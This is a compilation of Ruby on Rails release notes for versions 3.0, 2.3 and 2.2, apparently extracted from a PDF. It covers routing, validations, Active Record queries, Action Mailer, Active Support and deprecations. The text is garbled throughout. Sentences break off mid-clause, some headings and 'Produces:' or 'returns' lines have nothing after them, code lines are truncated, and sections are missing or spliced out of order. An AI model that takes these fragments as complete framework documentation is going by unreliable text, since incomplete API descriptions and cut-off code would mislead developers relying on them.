fallback for translations.
Attributes can have default translations.
Form Submit Tags automatically pull the correct status (Create or
Update) depending on the object status, and so pull the correct
translation.
Labels with I18n also now work by just passing the attribute name.
More Information: - Rails 3 I18n changes
6 Railties
With the decoupling of the main Rails frameworks, Railties got a huge
overhaul so as to make linking up frameworks, engines or plugins as
painless and extensible as possible:
Each application now has its own name space, application is started
with YourAppName.boot for example, makes interacting with other
applications a lot easier.
Anything under Rails.root/app is now added to the load path, so
you can make app/observers/user_observer.rb and Rails will load
it without any modifications.
Rails 3.0 now provides a Rails.config object, which provides a
central repository of all sorts of Rails wide configuration options.
Application generation has received extra flags allowing you to skip
the installation of test-unit, Active Record, Prototype and Git. Also a
new --dev flag has been added which sets the application up with the
Gemfile pointing to your Rails checkout (which is determined by the
path to the rails binary). See rails --help for more info.
Railties generators got a huge amount of attention in Rails 3.0, basically:
Generators were completely rewritten and are backwards
incompatible.
Rails templates API and generators API were merged (they are the
same as the former).
Generators are no longer loaded from special paths anymore, they are
just found in the Ruby load path, so calling rails generate foo will
look for generators/foo_generator.
New generators provide hooks, so any template engine, ORM, test
framework can easily hook in.
New generators allow you to override the templates by placing a copy
at Rails.root/lib/templates.
Rails::Generators::TestCase is also supplied so you can create
More information:
Discovering Rails 3 generators
The Rails Module (in Rails 3)
7 Action Pack
There have been significant internal and external changes in Action Pack.
7.1 Abstract Controller
Abstract Controller pulls out the generic parts of Action Controller into a
reusable module that any library can use to render templates, render
partials, helpers, translations, logging, any part of the request response
cycle. This abstraction allowed ActionMailer::Base to now just inherit
from AbstractController and just wrap the Rails DSL onto the Mail
gem.
It also provided an opportunity to clean up Action Controller, abstracting
out what could to simplify the code.
Note however that Abstract Controller is not a user facing API, you will
not run into it in your day to day use of Rails.
More Information: - Rails Edge Architecture
7.2 Action Controller
application_controller.rb now has protect_from_forgery on by
default.
The cookie_verifier_secret has been deprecated and now instead
it is assigned through Rails.application.config.cookie_secret
and moved into its own file:
config/initializers/cookie_verification_secret.rb.
The session_store was configured in
ActionController::Base.session, and that is now moved to
Rails.application.config.session_store. Defaults are set up in
config/initializers/session_store.rb.
cookies.secure allowing you to set encrypted values in cookies with
More Information:
Render Options in Rails 3
Three reasons to love ActionController::Responder
7.3 Action Dispatch
Action Dispatch is new in Rails 3.0 and provides a new, cleaner
implementation for routing.
Big clean up and re-write of the router, the Rails router is now
rack_mount with a Rails DSL on top, it is a stand alone piece of
software.
Routes defined by each application are now name spaced within your
Application module, that is:
# Instead of:
ActionController::Routing::Routes.draw do |map|
map.resources :posts
end
# You do:
AppName::Application.routes do
resources :posts
end
Added match method to the router, you can also pass any Rack
application to the matched route.
Added constraints method to the router, allowing you to guard
routers with defined constraints.
Added scope method to the router, allowing you to namespace routes
for different languages or different actions, for example:
scope 'es' do
resources :projects, :path_names => { :edit => 'cambiar' }
end
# Gives you the edit action with /es/proyecto/1/cambiar
Added root method to the router as a short cut for match '/', :to
=> path.
You can pass optional segments into the match, for example match
"/:controller(/:action(/:id))(.:format)", each parenthesized
segment is optional.
Routes can be expressed via blocks, for example you can call
controller :home { match '/:action' }.
The old style map commands still work as before with a backwards
compatibility layer, however this will be removed in the 3.1 release.
Deprecations
Produces:
Helpers like form_for or div_for that insert content from a block use <%=
now:
<%= form_for @post do |f| %>
...
<% end %>
Your own helpers of that kind are expected to return a string, rather than
appending to the output buffer by hand.
Helpers that do something else, like cache or content_for, are not
affected by this change, they need <% as before.
7.4.3 Other Changes
8 Active Model
Active Model is new in Rails 3.0. It provides an abstraction layer for any
ORM libraries to use to interact with Rails by implementing an Active
Model interface.
8.1 ORM Abstraction and Action Pack Interface
Part of decoupling the core components was extracting all ties to Active
Record from Action Pack. This has now been completed. All new ORM
plugins now just need to implement Active Model interfaces to work
seamlessly with Action Pack.
More Information: - Make Any Ruby Object Feel Like ActiveRecord
8.2 Validations
Validations have been moved from Active Record into Active Model,
providing an interface to validations that works across ORM libraries in
Rails 3.
There is now a validates :attribute, options_hash shortcut
method that allows you to pass options for all the validates class
methods, you can pass more than one option to a validate method.
The validates method has the following options:
:acceptance => Boolean.
:confirmation => Boolean.
:exclusion => { :in => Enumerable }.
:inclusion => { :in => Enumerable }.
:format => { :with => Regexp, :on => :create }.
:length => { :maximum => Fixnum }.
:numericality => Boolean.
:presence => Boolean.
:uniqueness => Boolean.
All the Rails version 2.3 style validation methods are still supported in
Rails 3.0, the new validates method is designed as an additional aid in your
model validations, not a replacement for the existing API.
You can also pass in a validator object, which you can then reuse between
objects that use Active Model:
class TitleValidator < ActiveModel::EachValidator
Titles = ['Mr.', 'Mrs.', 'Dr.']
def validate_each(record, attribute, value)
unless Titles.include?(value)
record.errors[attribute] << 'must be a valid title'
end
end
end
class Person
include ActiveModel::Validations
attr_accessor :title
validates :title, :presence => true, :title => true
end
# Or for Active Record
class Person < ActiveRecord::Base
validates :title, :presence => true, :title => true
end
More Information:
Sexy Validation in Rails 3
Rails 3 Validations Explained
9 Active Record
Active Record received a lot of attention in Rails 3.0, including abstraction
into Active Model, a full update to the Query interface using Arel,
validation updates and many enhancements and fixes. All of the Rails 2.x
API will be usable through a compatibility layer that will be supported
until version 3.1.
9.1 Query Interface
Active Record, through the use of Arel, now returns relations on its core
methods. The existing API in Rails 2.3.x is still supported and will not be
deprecated until Rails 3.1 and not removed until Rails 3.2, however, the
new API provides the following new methods that all return relations
allowing them to be chained together:
where - provides conditions on the relation, what gets returned.
select - choose what attributes of the models you wish to have
10 Active Resource
Active Resource was also extracted out to Active Model allowing you to
use Active Resource objects with Action Pack seamlessly.
Added validations through Active Model.
Added observing hooks.
HTTP proxy support.
Added support for digest authentication.
Moved model naming into Active Model.
Changed Active Resource attributes to a Hash with indifferent access.
Added first, last and all aliases for equivalent find scopes.
find_every now does not return a ResourceNotFound error if nothing
returned.
Added save! which raises ResourceInvalid unless the object is
valid?.
update_attribute and update_attributes added to Active
Resource models.
Added exists?.
Renamed SchemaDefinition to Schema and define_schema to
schema.
Use the format of Active Resources rather than the content-type of
remote errors to load errors.
Use instance_eval for schema block.
Fix ActiveResource::ConnectionError#to_s when @response does
not respond to #code or #message, handles Ruby 1.9 compatibility.
Add support for errors in JSON format.
Ensure load works with numeric arrays.
Recognizes a 410 response from remote resource as the resource has
been deleted.
Add ability to set SSL options on Active Resource connections.
Setting connection timeout also affects Net::HTTP open_timeout.
Deprecations:
11 Active Support
A large effort was made in Active Support to make it cherry pickable, that
is, you no longer have to require the entire Active Support library to get
pieces of it. This allows the various core components of Rails to run
slimmer.
These are the main changes in Active Support:
Large clean up of the library removing unused methods throughout.
Active Support no longer provides vendored versions of TZInfo,
Memcache Client and Builder. These are all included as dependencies
and installed via the bundle install command.
Safe buffers are implemented in ActiveSupport::SafeBuffer.
Added Array.uniq_by and Array.uniq_by!.
Removed Array#rand and backported Array#sample from Ruby 1.9.
Fixed bug on TimeZone.seconds_to_utc_offset returning wrong
value.
Added ActiveSupport::Notifications middleware.
ActiveSupport.use_standard_json_time_format now defaults to
true.
ActiveSupport.escape_html_entities_in_json now defaults to
false.
Integer#multiple_of? accepts zero as an argument, returns false
unless the receiver is zero.
string.chars has been renamed to string.mb_chars.
ActiveSupport::OrderedHash now can de-serialize through YAML.
Added SAX-based parser for XmlMini, using LibXML and Nokogiri.
Added Object#presence that returns the object if it's #present?
otherwise returns nil.
Added String#exclude? core extension that returns the inverse of
#include?.
Added to_i to DateTime in ActiveSupport so to_yaml works
correctly on models with DateTime attributes.
kept)
String#bytesize
Object#tap
Symbol#to_proc
Object#instance_variable_defined?
Enumerable#none?
The security patch for REXML remains in Active Support because early
patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it
has to apply it or not.
The following methods have been removed because they are no longer
used in the framework:
Kernel#daemonize
Object#remove_subclasses_of
Object#extend_with_included_modules_from,
Object#extended_by
Class#remove_class
Regexp#number_of_captures, Regexp.unoptionalize,
Regexp.optionalize, Regexp#number_of_captures
12 Action Mailer
Action Mailer has been given a new API with TMail being replaced out
with the new Mail as the email library. Action Mailer itself has been given
an almost complete re-write with pretty much every line of code touched.
The result is that Action Mailer now simply inherits from Abstract
Controller and wraps the Mail gem in a Rails DSL. This reduces the
amount of code and duplication of other libraries in Action Mailer
considerably.
All mailers are now in app/mailers by default.
Can now send email using new API with three methods:
attachments, headers and mail.
Action Mailer now has native support for inline attachments using the
attachments.inline method.
Action Mailer emailing methods now return Mail::Message objects,
which can then be sent the deliver message to send itself.
All delivery methods are now abstracted out to the Mail gem.
The mail delivery method can accept a hash of all valid mail header
fields with their value pair.
The mail delivery method acts in a similar way to Action Controller's
respond_to, and you can explicitly or implicitly render templates.
Action Mailer will turn the email into a multipart email as needed.
You can pass a proc to the format.mime_type calls within the mail
block and explicitly render specific types of text, or add layouts or
different templates. The render call inside the proc is from Abstract
Controller and supports the same options.
What were mailer unit tests have been moved to functional tests.
Action Mailer now delegates all auto encoding of header fields and
bodies to Mail Gem
Action Mailer will auto encode email bodies and headers for you
Deprecations:
style declarations.
Mailer dynamic create_method_name and deliver_method_name are
deprecated, just call method_name which now returns a
Mail::Message object.
ActionMailer.deliver(message) is deprecated, just call
message.deliver.
template_root is deprecated, pass options to a render call inside a
proc from the format.mime_type method inside the mail generation
block
The body method to define instance variables is deprecated (body
{:ivar => value}), just declare instance variables in the method
directly and they will be available in the view.
Mailers being in app/models is deprecated, use app/mailers instead.
More Information:
New Action Mailer API in Rails 3
New Mail Gem for Ruby
13 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails 3. Kudos to all of them.
Rails 3.0 Release Notes were compiled by Mikel Lindsaar.
1 Application Architecture
There are two major changes in the architecture of Rails applications:
complete integration of the Rack modular web server interface, and
renewed support for Rails Engines.
1.1 Rack Integration
Rails has now broken with its CGI past, and uses Rack everywhere. This
required and resulted in a tremendous number of internal changes (but if
you use CGI, don't worry; Rails now supports CGI through a proxy
interface.) Still, this is a major change to Rails internals. After upgrading
to 2.3, you should test on your local environment and your production
environment. Some things to test:
Sessions
Cookies
File uploads
JSON/XML APIs
Here's a summary of the rack-related changes:
script/server has been switched to use Rack, which means it
supports any Rack compatible server. script/server will also pick
The mutex that normally wraps your entire request has been moved
into middleware, ActionController::Lock.
ActionController::AbstractRequest and
ActionController::Request have been unified. The new
ActionController::Request inherits from Rack::Request. This
affects access to response.headers['type'] in test requests. Use
response.content_type instead.
ActiveRecord::QueryCache middleware is automatically inserted
2 Documentation
The Ruby on Rails guides project has published several additional guides
for Rails 2.3. In addition, a separate site maintains updated copies of the
Guides for Edge Rails. Other documentation efforts include a relaunch of
the Rails wiki and early planning for a Rails Book.
More Information: Rails Documentation Projects
4 Active Record
Active Record gets quite a number of new features and bug fixes in Rails
2.3. The highlights include nested attributes, nested transactions, dynamic
and default scopes, and batch processing.
4.1 Nested Attributes
Active Record can now update the attributes on nested models directly,
provided you tell it to do so:
class Book < ActiveRecord::Base
has_one :author
has_many :pages
accepts_nested_attributes_for :author, :pages
end
Nested transactions let you roll back an inner transaction without affecting
the state of the outer transaction. If you want a transaction to be nested,
you must explicitly add the :requires_new option; otherwise, a nested
transaction simply becomes part of the parent transaction (as it does
currently on Rails 2.2). Under the covers, nested transactions are using
savepoints so they're supported even on databases that don't have true
nested transactions. There is also a bit of magic going on to make these
transactions play well with transactional fixtures during testing.
Lead Contributors: Jonathan Viney and Hongli Lai
4.3 Dynamic Scopes
You know about dynamic finders in Rails (which allow you to concoct
methods like find_by_color_and_flavor on the fly) and named scopes
(which allow you to encapsulate reusable query conditions into friendly
names like currently_active). Well, now you can have dynamic scope
methods. The idea is to put together syntax that allows filtering on the fly
and method chaining. For example:
Order.scoped_by_customer_id(12)
Order.scoped_by_customer_id(12).find(:all,
:conditions => "status = 'open'")
Order.scoped_by_customer_id(12).scoped_by_status("open")
You can pass most of the find options into find_in_batches. However,
you cannot specify the order that records will be returned in (they will
always be returned in ascending order of primary key, which must be an
integer), or use the :limit option. Instead, use the :batch_size option,
which defaults to 1000, to set the number of records that will be returned
in each batch.
Note that you should only use this method for batch processing: for small
numbers of records (less than 1000), you should just use the regular find
methods with your own loop.
More Information (at that point the convenience method was called
just each):
Rails 2.3: Batch Finding
What's New in Edge Rails: Batched Find
4.6 Multiple Conditions for Callbacks
When using Active Record callbacks, you can now combine :if and
:unless options on the same callback, and supply multiple conditions as
an array:
before_save :update_credit_rating, :if => :active,
:unless => [:admin, :cash_only]
5 Action Controller
Action Controller rolls out some significant changes to rendering, as well
as improvements in routing and other areas, in this release.
5.1 Unified Rendering
ActionController::Base#render is a lot smarter about deciding what to
render. Now you can just tell it what to render and expect to get the right
results. In older versions of Rails, you often need to supply explicit
information to render:
render :file => '/tmp/random_file.erb'
render :template => 'other_controller/action'
render :action => 'show'
Now in Rails 2.3, you can just supply what you want to render:
render '/tmp/random_file.erb'
render 'other_controller/action'
render 'show'
render :show
process.
More Information:
The Death of Application.rb
What's New in Edge Rails: Application.rb Duality is no More
5.3 HTTP Digest Authentication Support
Rails now has built-in support for HTTP digest authentication. To use it,
you call authenticate_or_request_with_http_digest with a block that
returns the user's password (which is then hashed and compared against
the transmitted credentials):
class PostsController < ApplicationController
Users = {"dhh" => "secret"}
before_filter :authenticate
def secret
render :text => "Password Required!"
end
private
def authenticate
realm = "Application"
authenticate_or_request_with_http_digest(realm) do |name|
Users[name]
end
end
end
much cleaner when you need to check for the presence of a type that has
synonyms:
if content_type && Mime::JS =~ content_type
# do something cool
end
Mime::JS =~ "text/javascript" => true
Mime::JS =~ "application/javascript" => true
The other change is that the framework now uses the Mime::JS when
checking for JavaScript in various spots, making it handle those
alternatives cleanly.
Lead Contributor: Seth Fitzsimmons
5.7 Optimization of respond_to
In some of the first fruits of the Rails-Merb team merger, Rails 2.3
includes some optimizations for the respond_to method, which is of
course heavily used in many Rails applications to allow your controller to
format results differently based on the MIME type of the incoming
request. After eliminating a call to method_missing and some profiling
and tweaking, we're seeing an 8% improvement in the number of requests
per second served with a simple respond_to that switches between three
formats. The best part? No change at all required to the code of your
application to take advantage of this speedup.
5.8 Improved Caching Performance
Rails now keeps a per-request local cache of read from the remote cache
stores, cutting down on unnecessary reads and leading to better site
performance. While this work was originally limited to MemCacheStore, it
is available to any remote store than implements the required methods.
6 Action View
Action View in Rails 2.3 picks up nested model forms, improvements to
render, more flexible prompts for the date select helpers, and a speedup in
asset caching, among other things.
6.1 Nested Object Forms
Provided the parent model accepts nested attributes for the child objects
(as discussed in the Active Record section), you can create nested forms
using form_for and field_for. These forms can be nested arbitrarily
deep, allowing you to edit complex object hierarchies on a single view
without excessive code. For example, given this model:
class Customer < ActiveRecord::Base
has_many :orders
accepts_nested_attributes_for :orders, :allow_destroy => true
end
High-Maintenance
6.3 Prompts for Date Select Helpers
In Rails 2.3, you can supply custom prompts for the various date select
helpers (date_select, time_select, and datetime_select), the same
way you can with collection select helpers. You can supply a prompt string
or a hash of individual prompt strings for the various components. You can
also just set :prompt to true to use the custom generic prompt:
select_datetime(DateTime.now, :prompt => true)
Asset hosts get more flexible in edge Rails with the ability to declare an
asset host as a specific object that responds to a call. This allows you to
implement any complex logic you need in your asset hosting.
More Information: asset-hosting-with-minimum-ssl
6.6 grouped_options_for_select Helper Method
Action View already had a bunch of helpers to aid in generating select
controls, but now there's one more: grouped_options_for_select. This
one accepts an array or hash of strings, and converts them into a string of
option tags wrapped with optgroup tags. For example:
returns
returns
<select name="post[category]">
<option>story</option>
<option>joke</option>
<option>poem</option>
<option disabled="disabled">private</option>
</select>
This line will be generated for you by default in a new Rails 2.3
application. If you've upgraded from an older version of Rails, Rails will
default to caching templates in production and test but not in development.
6.9 Other Action View Changes
Token generation for CSRF protection has been simplified; now Rails
uses a simple random string generated by
ActiveSupport::SecureRandom rather than mucking around with
session IDs.
auto_link now properly applies options (such as :target and
:class) to generated e-mail links.
The autolink helper has been refactored to make it a bit less messy
and more intuitive.
current_page? now works properly even when there are multiple
query parameters in the URL.
7 Active Support
Active Support has a few interesting changes, including the introduction of
Object#try.
7.1 Object#try
A lot of folks have adopted the notion of using try() to attempt operations
on objects. It's especially helpful in views where you can avoid nilchecking by writing code like <%= @person.try(:name) %>. Well, now
it's baked right into Rails. As implemented in Rails, it raises
NoMethodError on private methods and always returns nil if the object is
nil.
More Information: try()
7.2 Object#tap Backport
Object#tap is an addition to Ruby 1.9 and 1.8.7 that is similar to the
returning method that Rails has had for a while: it yields to a block, and
then returns the object that was yielded. Rails now includes code to make
this available under older versions of Ruby as well.
7.3 Swappable Parsers for XMLmini
The support for XML parsing in Active Support has been made more
flexible by allowing you to swap in different parsers. By default, it uses
the standard REXML implementation, but you can easily specify the faster
LibXML or Nokogiri implementations for your own applications, provided
you have the appropriate gems installed:
XmlMini.backend = 'LibXML'
cookies).
Active Support's from_xml no longer depends on XmlSimple. Instead,
Rails now includes its own XmlMini implementation, with just the
functionality that it requires. This lets Rails dispense with the bundled
copy of XmlSimple that it's been carting around.
If you memoize a private method, the result will now be private.
String#parameterize accepts an optional separator: "Quick Brown
Fox".parameterize('_') => "quick_brown_fox".
number_to_phone accepts 7-digit phone numbers now.
ActiveSupport::Json.decode now handles \u0000 style escape
sequences.
8 Railties
In addition to the Rack changes covered above, Railties (the core code of
Rails itself) sports a number of significant changes, including Rails Metal,
application templates, and quiet backtraces.
8.1 Rails Metal
Rails Metal is a new mechanism that provides superfast endpoints inside
of your Rails applications. Metal classes bypass routing and Action
Controller to give you raw speed (at the cost of all the things in Action
Controller, of course). This builds on all of the recent foundation work to
make Rails a Rack application with an exposed middleware stack. Metal
endpoints can be loaded from your application or from plugins.
More Information:
Introducing Rails Metal
Rails Metal: a micro-framework with the power of Rails
Metal: Super-fast Endpoints within your Rails Apps
What's New in Edge Rails: Rails Metal
8.2 Application Templates
Rails 2.3 incorporates Jeremy McAnally's rg application generator. What
this means is that we now have template-based application generation built
right into Rails; if you have a set of plugins you include in every
application (among many other use cases), you can just set up a template
once and use it over and over again when you run the rails command.
There's also a rake task to apply a template to an existing application:
rake rails:template LOCATION=~/template.rb
This will layer the changes from the template on top of whatever code the
The internals of the various rake gem tasks have been substantially
revised, to make the system work better for a variety of cases. The gem
system now knows the difference between development and runtime
dependencies, has a more robust unpacking system, gives better
information when querying for the status of gems, and is less prone to
"chicken and egg" dependency issues when you're bringing things up from
scratch. There are also fixes for using gem commands under JRuby and for
dependencies that try to bring in external copies of gems that are already
vendored.
Lead Contributor: David Dollar
8.6 Other Railties Changes
The instructions for updating a CI server to build Rails have been
updated and expanded.
Internal Rails testing has been switched from Test::Unit::TestCase
to ActiveSupport::TestCase, and the Rails core requires Mocha to
test.
The default environment.rb file has been decluttered.
The dbconsole script now lets you use an all-numeric password
without crashing.
Rails.root now returns a Pathname object, which means you can use
it directly with the join method to clean up existing code that uses
File.join.
Various files in /public that deal with CGI and FCGI dispatching are
no longer generated in every Rails application by default (you can
still get them if you need them by adding --with-dispatchers when
you run the rails command, or add them later with rake
rails:update:generate_dispatchers).
Rails Guides have been converted from AsciiDoc to Textile markup.
Scaffolded views and controllers have been cleaned up a bit.
script/server now accepts a --path argument to mount a Rails
application from a specific path.
If any configured gems are missing, the gem rake tasks will skip
loading much of the environment. This should solve many of the
"chicken-and-egg" problems where rake gems:install couldn't run
because gems were missing.
Gems are now unpacked exactly once. This fixes issues with gems
(hoe, for instance) which are packed with read-only permissions on
the files.
9 Deprecated
A few pieces of older code are deprecated in this release:
If you're one of the (fairly rare) Rails developers who deploys in a
fashion that depends on the inspector, reaper, and spawner scripts,
you'll need to know that those scripts are no longer included in core
Rails. If you need them, you'll be able to pick up copies via the
irs_process_scripts plugin.
render_component goes from "deprecated" to "nonexistent" in Rails
2.3. If you still need it, you can install the render_component plugin.
Support for Rails components has been removed.
If you were one of the people who got used to running
script/performance/request to look at performance based on
integration tests, you need to learn a new trick: that script has been
removed from core Rails now. There's a new request_profiler plugin
that you can install to get the exact same functionality back.
ActionController::Base#session_enabled? is deprecated because
sessions are lazy-loaded now.
The :digest and :secret options to protect_from_forgery are
deprecated and have no effect.
Some integration test helpers have been removed.
response.headers["Status"] and headers["Status"] will no
longer return anything. Rack does not allow "Status" in its return
headers. However you can still use the status and status_message
helpers. response.headers["cookie"] and headers["cookie"] will
no longer return any CGI cookies. You can inspect headers["SetCookie"] to see the raw cookie header or use the cookies helper to
get a hash of the cookies sent to the client.
formatted_polymorphic_url is deprecated. Use polymorphic_url
with :format instead.
The :http_only option in
ActionController::Response#set_cookie has been renamed to
:httponly.
The :connector and :skip_last_comma options of to_sentence
have been replaced by :words_connnector, :two_words_connector,
and :last_word_connector options.
Posting a multipart form with an empty file_field control used to
10 Credits
Release notes compiled by Mike Gunderloy. This version of the Rails 2.3
release notes was compiled based on RC2 of Rails 2.3.
1 Infrastructure
Rails 2.2 is a significant release for the infrastructure that keeps Rails
humming along and connected to the rest of the world.
1.1 Internationalization
Rails 2.2 supplies an easy system for internationalization (or i18n, for
those of you tired of typing).
Lead Contributors: Rails i18 Team
More information :
Official Rails i18 website
Finally. Ruby on Rails gets internationalized
Localizing Rails : Demo application
1.2 Compatibility with Ruby 1.9 and JRuby
Along with thread safety, a lot of work has been done to make Rails work
well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a
moving target, running edge Rails on edge Ruby is still a hit-or-miss
proposition, but Rails is ready to make the transition to Ruby 1.9 when the
latter is released.
2 Documentation
The internal documentation of Rails, in the form of code comments, has
been improved in numerous places. In addition, the Ruby on Rails Guides
project is the definitive source for information on major Rails components.
In its first official release, the Guides page includes:
Getting Started with Rails
Rails Database Migrations
Active Record Associations
Active Record Query Interface
Layouts and Rendering in Rails
Action View Form Helpers
Rails Routing from the Outside In
Action Controller Overview
Rails Caching
A Guide to Testing Rails Applications
Securing Rails Applications
Debugging Rails Applications
Performance Testing Rails Applications
The Basics of Creating Rails Plugins
All told, the Guides provide tens of thousands of words of guidance for
beginning and intermediate Rails developers.
If you want to generate these guides locally, inside your application:
rake doc:guides
This will put the guides inside Rails.root/doc/guides and you may start
surfing straight away by opening Rails.root/doc/guides/index.html in
your favourite browser.
Lead Contributors: Rails Documentation Team
# Sets the response headers and checks them against the requ
# (i.e. no match of either etag or last-modified), then the
# If the request is fresh, then the default render will retu
# instead of rendering the template.
fresh_when(:last_modified => @article.published_at.utc, :eta
end
end
4 Thread Safety
The work done to make Rails thread-safe is rolling out in Rails 2.2.
Depending on your web server infrastructure, this means you can handle
more requests with fewer copies of Rails in memory, leading to better
server performance and higher utilization of multiple cores.
To enable multithreaded dispatching in production mode of your
application, add the following line in your
config/environments/production.rb:
config.threadsafe!
More information :
Thread safety for your Rails
Thread safety project announcement
Q/A: What Thread-safe Rails Means
5 Active Record
There are two big additions to talk about here: transactional migrations and
pooled database transactions. There's also a new (and cleaner) syntax for
join table conditions, as well as a number of smaller improvements.
5.1 Transactional Migrations
Historically, multiple-step Rails migrations have been a source of trouble.
If something went wrong during a migration, everything before the error
changed the database and everything after the error wasn't applied. Also,
the migration version was stored as having been executed, which means
that it couldn't be simply rerun by rake db:migrate:redo after you fix the
problem. Transactional migrations change this by wrapping migration
steps in a DDL transaction, so that if any of them fail, the entire migration
is undone. In Rails 2.2, transactional migrations are supported on
PostgreSQL out of the box. The code is extensible to other database types
in the future - and IBM has already extended it to support the DB2 adapter.
Lead Contributor: Adam Wiggins
More information:
DDL Transactions
A major milestone for DB2 on Rails
5.2 Connection Pooling
Connection pooling lets Rails distribute database requests across a pool of
database connections that will grow to a maximum size (by default 5, but
you can add a pool key to your database.yml to adjust this). This helps
remove bottlenecks in applications that support many concurrent users.
There's also a wait_timeout that defaults to 5 seconds before giving up.
ActiveRecord::Base.connection_pool gives you direct access to the
pool if you need it.
development:
adapter: mysql
username: root
database: sample_development
pool: 10
wait_timeout: 10
More information:
What's New in Edge Rails: Easy Join Table Conditions
5.4 New Dynamic Finders
Two new sets of methods have been added to Active Record's dynamic
finders family.
5.4.1 find_last_by_attribute
6 Action Controller
On the controller side, there are several changes that will help tidy up your
routes. There are also some internal changes in the routing engine to lower
memory usage on complex applications.
6.1 Shallow Route Nesting
Shallow route nesting provides a solution to the well-known difficulty of
using deeply-nested resources. With shallow nesting, you need only supply
enough information to uniquely identify the resource that you want to
work with.
map.resources :publishers, :shallow => true do |publisher|
publisher.resources :magazines do |magazine|
magazine.resources :photos
end
end
You can now supply an array of methods for new member or collection
routes. This removes the annoyance of having to define a route as
accepting any verb as soon as you need it to handle more than one. With
Rails 2.2, this is a legitimate route declaration:
config.action_controller.use_accept_header = true.
7 Action View
javascript_include_tag and stylesheet_link_tag support a new
:recursive option to be used along with :all, so that you can load
8 Action Mailer
Action Mailer now supports mailer layouts. You can make your HTML
emails as pretty as your in-browser views by supplying an appropriatelynamed layout - for example, the CustomerMailer class expects to use
layouts/customer_mailer.html.erb.
More information:
What's New in Edge Rails: Mailer Layouts
Action Mailer now offers built-in support for GMail's SMTP servers, by
turning on STARTTLS automatically. This requires Ruby 1.8.7 to be
installed.
9 Active Support
Active Support now offers built-in memoization for Rails applications, the
each_with_object method, prefix support on delegates, and various other
new utility methods.
9.1 Memoization
Memoization is a pattern of initializing a method once and then stashing its
value away for repeat use. You've probably used this pattern in your own
applications:
def full_name
@full_name ||= "#{first_name} #{last_name}"
end
10 Railties
In Railties (the core code of Rails itself) the biggest changes are in the
config.gems mechanism.
10.1 config.gems
To avoid deployment issues and make Rails applications more selfcontained, it's possible to place copies of all of the gems that your Rails
application requires in /vendor/gems. This capability first appeared in
Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling
complicated dependencies between gems. Gem management in Rails
includes these commands:
config.gem _gem_name_ in your config/environment.rb file
rake gems to list all configured gems, as well as whether they (and
Rails 2.1 into alignment with the Rails 2.2 way of storing them
You can unpack or install a single gem by specifying GEM=_gem_name_ on
the command line.
Lead Contributor: Matt Jones
More information:
What's New in Edge Rails: Gem Dependencies
11 Deprecated
A few pieces of older code are deprecated in this release:
Rails::SecretKeyGenerator has been replaced by
ActiveSupport::SecureRandom
render_component is deprecated. There's a render_components
deprecated.
String#chars has been deprecated in favor of String#mb_chars.
12 Credits
Release notes compiled by Mike Gunderloy